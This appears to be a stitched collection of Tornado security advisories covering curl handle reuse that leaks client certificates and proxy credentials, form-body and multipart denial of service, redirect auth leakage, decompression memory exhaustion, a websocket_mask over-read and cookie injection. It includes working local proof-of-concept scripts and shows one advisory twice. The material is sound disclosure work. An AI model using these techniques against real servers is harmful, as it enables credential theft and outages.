from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


def _key():
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)


def _ca():
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert, key


def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    now = datetime.datetime.now(datetime.timezone.utc)
    b = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(ca_cert.subject)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
    )
    if ips:
        b = b.add_extension(
            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
            critical=False,
        )
    if client:
        b = b.add_extension(
            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
        )
    return b.sign(ca_key, hashes.SHA256()), key


def _pem(path, cert, key=None):
    with open(path, "wb") as fh:
        fh.write(cert.public_bytes(serialization.Encoding.PEM))
        if key is not None:
            fh.write(key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))


class TLSServer:
    def __init__(self, srv_pem, ca_pem, require):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.load_cert_chain(srv_pem)
        self.ctx.load_verify_locations(ca_pem)
        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                s = self.ctx.wrap_socket(conn, server_side=True)
                self.captures.append(s.getpeercert() or None)
                try:
                    s.recv(4096)
                    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
                except Exception:
                    pass
                s.close()
            except Exception:
                self.captures.append("handshake-failed")
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def _cn(peer):
    if not peer or not isinstance(peer, dict):
        return None
    for rdn in peer.get("subject", ()):
        for k, v in rdn:
            if k == "commonName":
                return v
    return None


async def main():
    with tempfile.TemporaryDirectory() as tmp:
        ca_cert, ca_key = _ca()
        s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
        s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
        cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)

        ca_pem = os.path.join(tmp, "ca.pem")
        s1_pem = os.path.join(tmp, "s1.pem")
        s2_pem = os.path.join(tmp, "s2.pem")
        cert_pem = os.path.join(tmp, "client.crt")
        key_pem = os.path.join(tmp, "client.key")
        _pem(ca_pem, ca_cert)
        _pem(s1_pem, s1_cert, s1_key)
        _pem(s2_pem, s2_cert, s2_key)
        _pem(cert_pem, cli_cert)
        with open(key_pem, "wb") as fh:
            fh.write(cli_key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

        s1 = TLSServer(s1_pem, ca_pem, require=True)
        s2 = TLSServer(s2_pem, ca_pem, require=False)
        try:
            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await clean.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/baseline",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            clean.close()

            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s1.port}/internal-mtls",
                client_cert=cert_pem, client_key=key_pem,
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/other-host",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await asyncio.sleep(0.2)
            client.close()
        finally:
            s1.stop()
            s2.stop()

        baseline = _cn(s2.captures[0]) if s2.captures else None
        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None

        print(f"{'scenario':<48}{'cert presented to server 2'}")
        print(f"{'-' * 48}{'-' * 28}")
        print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
        print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
        print()
        print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
        print()
        if baseline is None and leaked == "trusted-client":
            print("VERDICT: VULNERABLE — the client certificate from request A was "
                  "presented to server 2 on request B, which specified none.")
            return 0
        print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
        return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (pip show tornado → 6.5.6, installed in the venv):

scenario                                        cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert          None
exploit: reused handle (A had client_cert)      'trusted-client'

(sanity) server 1 (mTLS required) saw: 'trusted-client'

VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.

Vector B — proxy credentials

Each proxy is a separate listener capturing the raw request bytes.

./venv/bin/python poc_proxy_creds.py

import asyncio
import base64
import socket
import sys
import threading

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


class CapturingProxy:
    def __init__(self):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                data = b""
                while b"\r\n\r\n" not in data and len(data) < 8192:
                    chunk = conn.recv(2048)
                    if not chunk:
                        break
                    data += chunk
                self.captures.append(data)
                conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
                             b"Connection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def proxy_authz(raw):
    head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    for line in head.split("\r\n"):
        if line.lower().startswith("proxy-authorization:"):
            return line
    return None


async def main():
    proxy_a = CapturingProxy()
    proxy_b = CapturingProxy()
    try:
        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
        await client.fetch(HTTPRequest(
            "http://target.example/a",
            proxy_host="127.0.0.1", proxy_port=proxy_a.port,
            proxy_username="alice", proxy_password="secretA",
            request_timeout=5, connect_timeout=5), raise_error=False)
        await client.fetch(HTTPRequest(
            "http://target.example/b",
            proxy_host="127.0.0.1", proxy_port=proxy_b.port,
            request_timeout=5, connect_timeout=5), raise_error=False)
        await asyncio.sleep(0.2)
        client.close()
    finally:
        proxy_a.stop()
        proxy_b.stop()

    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
    expected = "Basic " + base64.b64encode(b"alice:secretA").decode()

    print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
    print(f"{'-' * 42}{'-' * 40}")
    print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
    print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
    print()
    if b and expected in b:
        print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
              f"({expected}) although request B specified no proxy_username.")
        return 0
    print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
    return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):

request                                   Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==

VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.

Impact

• Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
• Actors: An application that issues requests with differing per-request options on a shared CurlAsyncHTTPClient — for Vector A, mixing per-request client_cert requests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials.
• Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
• Scope: Only applications using the optional CurlAsyncHTTPClient backend with the patterns above are affected. The default SimpleAsyncHTTPClient is not affected (and does not support proxies).

Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is High because exploitation depends on the application using differing per-request options on a shared client and on handle scheduling.

Mitigation

A single fix closes all instances of this class: call curl.reset() at the start of _curl_setup_request and then re-apply the per-request options, so no state from a prior request can persist on the reused handle. (Note curl.reset() also clears CAINFO, which the current code intentionally leaves untouched — see the comment at lines 401-409 — so that default would need to be re-established after the reset.)

Alternatively, add explicit clearing branches mirroring the existing PROXYUSERPWD/USERPWD handling:

# client certificate
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
    curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)
else:
    curl.unsetopt(pycurl.SSLKEY)

# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
    ...
    curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
    curl.unsetopt(pycurl.PROXYUSERPWD)

# network interface
if request.network_interface:
    curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
    curl.unsetopt(pycurl.INTERFACE)

Until a fix is available, use a separate CurlAsyncHTTPClient instance per distinct credential set (per client certificate / per proxy credential), or use SimpleAsyncHTTPClient where applicable.

Summary

Tornado parses application/x-www-form-urlencoded bodies with urllib.parse.parse_qs and does not pass max_num_fields. A body made almost entirely of separators produces tens of millions of fields, and the parse happens on the event loop before the handler runs, so a single request stalls the whole server.

Where it is

tornado/escape.py, at HEAD e530031405e2154654dedc4c84d5656b557ea310:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict"
)

max_num_fields is the parameter CPython added for exactly this, and it is absent.

The path to it is entirely server-side and pre-dispatch. RequestHandler._execute parses the body at tornado/web.py:1821, which reaches HTTPServerRequest._parse_body at tornado/httputil.py:636, and the urlencoded branch of parse_body_arguments calls parse_qs_bytes at tornado/httputil.py:1030.

The size that reaches it is bounded only by the body cap, which defaults to the stream's max_buffer_size of 104857600 at tornado/iostream.py:239, applied as the request body default at tornado/http1connection.py:136-140. A 100 MB body of separators is around fifty million fields.

Impact

Denial of service against the whole process, not one request. Tornado is single-threaded and the parse is synchronous on the event loop, so every other connection waits. No authentication is needed if any route accepts a form post, which is the normal case.

Suggested fix

Pass a bound:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict",
    max_num_fields=max_num_fields,
)

with a conservative default and a way for applications to raise it. CPython raises ValueError when the limit is exceeded, which maps cleanly onto a 400.

Lowering the default body cap for urlencoded specifically would help too, since 100 MB of form fields is not a shape any real client sends.

Why I do not think this is a duplicate

The published tornado advisories cover out-of-bounds access in the C extension, unbounded accumulation of decompressed chunks in AsyncHTTPClient, the Authorization header surviving cross-origin redirects, credential leakage on curl handle reuse, and cookie attribute validation. The decompression one is the nearest in spirit and is on the client side; this is the server parsing a request body. The call is unchanged at HEAD.

Description

Summary

parse_multipart_form_data (httputil.py:34) calls data.split(b"--"+boundary+b"\r\n") before the max_parts check (:35). A 600KB body with 100k parts creates a 100k-element transient list first, then rejects transient memory amplification (each split element is a copy). Pre-auth HTTP DoS.

Root cause

parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n")  # :34  huge list first
if len(parts) > config.max_parts:                                       # :35  check after
    raise HTTPInputError("multipart/form-data has too many parts")

PoC

gist: https://gist.github.com/afldl/649861f25d39b53b7edbe0298e171617 poc.py + output.txt (100k parts from 600KB transient list).

Fix

Count separators without materializing the list (e.g. data.count(b"--"+boundary) first).

Credit

Reported by afldl, 2026-07.

Summary

When SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin.

As a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default.

Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.

Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total compressed size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set.

This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.

Prior to upgrading, this issue can be mitigated by setting decompress_response=False or using CurlAsyncHTTPClient.

Summary

Tornado's optional native extension tornado.speedups implements websocket_mask without validating that the mask argument is exactly four bytes long. The C function reads four bytes from mask unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.

The behavior is reachable from Tornado's XSRF token decoder when xsrf_cookies=True and the native extension is active.

Mitigations

This bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does not reset them between requests, and several per-request options are applied with no clearing branch. As a result, sensitive state set by one request persists onto a later request on the same client that does not set it. Two credential vectors are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy basic-auth credentials (PROXYUSERPWD) — both leaking to a different, unintended host. This affects all released versions through 6.5.6.

Details

In tornado/curl_httpclient.py, handles are created once and returned to a free list for reuse (_process_queue pops the handle at line 200, _finish re-appends it at line 245), and _curl_setup_request is never preceded by curl.reset(). The function clears some carried-over state on the reused handle — unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD) when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) — but other options have no equivalent clearing path and persist until a later request sets them again.

Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing branch:

# tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)

if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)

A request that sets client_cert leaves the certificate on the handle; a later request without client_cert presents it during its TLS handshake.

Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only inside the credentials branch and unset only in the no-proxy else branch:

# tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
    curl.setopt(pycurl.PROXY, request.proxy_host)
    curl.setopt(pycurl.PROXYPORT, request.proxy_port)
    if request.proxy_username:                 # only place PROXYUSERPWD is set
        ...
        curl.setopt(pycurl.PROXYUSERPWD, credentials)
    ...
else:
    try:
        curl.unsetopt(pycurl.PROXY)
    except TypeError:
        curl.setopt(pycurl.PROXY, "")
    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset

A request that sets a new proxy_host without proxy_username updates PROXY/PROXYPORT but never reaches the else, so the previous request's credentials persist and are sent to the new proxy.

The same class also affects INTERFACE (lines 365-366: set only when request.network_interface is truthy, with no clearing branch), which is a lower-severity instance — a later request can be bound to a network interface it did not request. A single fix addresses all three (see Mitigation).

PoC

Both reproduce against the pinned release using public API only (CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).

Vector A — client TLS certificate

The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.

python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py

import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


def _key():
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)


def _ca():
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert, key


def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    now = datetime.datetime.now(datetime.timezone.utc)
    b = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(ca_cert.subject)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
    )
    if ips:
        b = b.add_extension(
            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
            critical=False,
        )
    if client:
        b = b.add_extension(
            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
        )
    return b.sign(ca_key, hashes.SHA256()), key


def _pem(path, cert, key=None):
    with open(path, "wb") as fh:
        fh.write(cert.public_bytes(serialization.Encoding.PEM))
        if key is not None:
            fh.write(key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))


class TLSServer:
    def __init__(self, srv_pem, ca_pem, require):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.load_cert_chain(srv_pem)
        self.ctx.load_verify_locations(ca_pem)
        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                s = self.ctx.wrap_socket(conn, server_side=True)
                self.captures.append(s.getpeercert() or None)
                try:
                    s.recv(4096)
                    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
                except Exception:
                    pass
                s.close()
            except Exception:
                self.captures.append("handshake-failed")
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def _cn(peer):
    if not peer or not isinstance(peer, dict):
        return None
    for rdn in peer.get("subject", ()):
        for k, v in rdn:
            if k == "commonName":
                return v
    return None


async def main():
    with tempfile.TemporaryDirectory() as tmp:
        ca_cert, ca_key = _ca()
        s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
        s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
        cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)

        ca_pem = os.path.join(tmp, "ca.pem")
        s1_pem = os.path.join(tmp, "s1.pem")
        s2_pem = os.path.join(tmp, "s2.pem")
        cert_pem = os.path.join(tmp, "client.crt")
        key_pem = os.path.join(tmp, "client.key")
        _pem(ca_pem, ca_cert)
        _pem(s1_pem, s1_cert, s1_key)
        _pem(s2_pem, s2_cert, s2_key)
        _pem(cert_pem, cli_cert)
        with open(key_pem, "wb") as fh:
            fh.write(cli_key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

        s1 = TLSServer(s1_pem, ca_pem, require=True)
        s2 = TLSServer(s2_pem, ca_pem, require=False)
        try:
            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await clean.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/baseline",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            clean.close()

            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s1.port}/internal-mtls",
                client_cert=cert_pem, client_key=key_pem,
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/other-host",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await asyncio.sleep(0.2)
            client.close()
        finally:
            s1.stop()
            s2.stop()

        baseline = _cn(s2.captures[0]) if s2.captures else None
        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None

        print(f"{'scenario':<48}{'cert presented to server 2'}")
        print(f"{'-' * 48}{'-' * 28}")
        print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
        print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
        print()
        print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
        print()
        if baseline is None and leaked == "trusted-client":
            print("VERDICT: VULNERABLE — the client certificate from request A was "
                  "presented to server 2 on request B, which specified none.")
            return 0
        print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
        return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (pip show tornado → 6.5.6, installed in the venv):

scenario                                        cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert          None
exploit: reused handle (A had client_cert)      'trusted-client'

(sanity) server 1 (mTLS required) saw: 'trusted-client'

VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.

Vector B — proxy credentials

Each proxy is a separate listener capturing the raw request bytes.

./venv/bin/python poc_proxy_creds.py

import asyncio
import base64
import socket
import sys
import threading

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


class CapturingProxy:
    def __init__(self):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                data = b""
                while b"\r\n\r\n" not in data and len(data) < 8192:
                    chunk = conn.recv(2048)
                    if not chunk:
                        break
                    data += chunk
                self.captures.append(data)
                conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
                             b"Connection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def proxy_authz(raw):
    head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    for line in head.split("\r\n"):
        if line.lower().startswith("proxy-authorization:"):
            return line
    return None


async def main():
    proxy_a = CapturingProxy()
    proxy_b = CapturingProxy()
    try:
        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
        await client.fetch(HTTPRequest(
            "http://target.example/a",
            proxy_host="127.0.0.1", proxy_port=proxy_a.port,
            proxy_username="alice", proxy_password="secretA",
            request_timeout=5, connect_timeout=5), raise_error=False)
        await client.fetch(HTTPRequest(
            "http://target.example/b",
            proxy_host="127.0.0.1", proxy_port=proxy_b.port,
            request_timeout=5, connect_timeout=5), raise_error=False)
        await asyncio.sleep(0.2)
        client.close()
    finally:
        proxy_a.stop()
        proxy_b.stop()

    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
    expected = "Basic " + base64.b64encode(b"alice:secretA").decode()

    print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
    print(f"{'-' * 42}{'-' * 40}")
    print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
    print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
    print()
    if b and expected in b:
        print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
              f"({expected}) although request B specified no proxy_username.")
        return 0
    print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
    return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):

request                                   Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==

VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.

Impact

• Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
• Actors: An application that issues requests with differing per-request options on a shared CurlAsyncHTTPClient — for Vector A, mixing per-request client_cert requests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials.
• Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
• Scope: Only applications using the optional CurlAsyncHTTPClient backend with the patterns above are affected. The default SimpleAsyncHTTPClient is not affected (and does not support proxies).

Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is High because exploitation depends on the application using differing per-request options on a shared client and on handle scheduling.

Mitigation

A single fix closes all instances of this class: call curl.reset() at the start of _curl_setup_request and then re-apply the per-request options, so no state from a prior request can persist on the reused handle. (Note curl.reset() also clears CAINFO, which the current code intentionally leaves untouched — see the comment at lines 401-409 — so that default would need to be re-established after the reset.)

Alternatively, add explicit clearing branches mirroring the existing PROXYUSERPWD/USERPWD handling:

# client certificate
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
    curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)
else:
    curl.unsetopt(pycurl.SSLKEY)

# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
    ...
    curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
    curl.unsetopt(pycurl.PROXYUSERPWD)

# network interface
if request.network_interface:
    curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
    curl.unsetopt(pycurl.INTERFACE)

Until a fix is available, use a separate CurlAsyncHTTPClient instance per distinct credential set (per client certificate / per proxy credential), or use SimpleAsyncHTTPClient where applicable.

In Tornado before 6.5.5, cookie attribute injection could occur because the domain, path, and samesite arguments to .RequestHandler.set_cookie were not checked for crafted characters.

In versions of Tornado prior to 6.5.5, the only limit on the number of parts in multipart/form-data is the max_body_size setting (default 100MB). Since parsing occurs synchronously on the main thread, this creates the possibility of denial-of-service due to the cost of parsing very large multipart bodies with many parts.

Tornado 6.5.5 introduces new limits on the size and complexity of multipart bodies, including a default limit of 100 parts per request. These limits are configurable if needed; see tornado.httputil.ParseMultipartConfig. It is also now possible to disable multipart/form-data parsing entirely if it is not required for the application.

Summary

